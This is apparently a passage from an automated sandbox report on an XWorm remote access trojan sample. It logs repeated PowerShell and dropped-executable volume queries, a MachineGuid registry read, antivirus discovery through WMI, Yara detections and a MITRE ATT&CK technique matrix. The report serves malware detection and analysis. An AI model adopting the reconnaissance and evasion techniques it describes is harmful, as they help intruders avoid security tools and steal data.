Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: powershell.exe, 00000010.00000002.2592529714.00000121C3CDC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Remote Access Functionality

Yara detected XWorm

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	11 Windows Management Instrumentation	112 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	23 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Obfuscated Files or Information	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	1 Office Application Startup	21 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	Network Logon Script	1 Timestomp	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	4 PowerShell	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	4 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
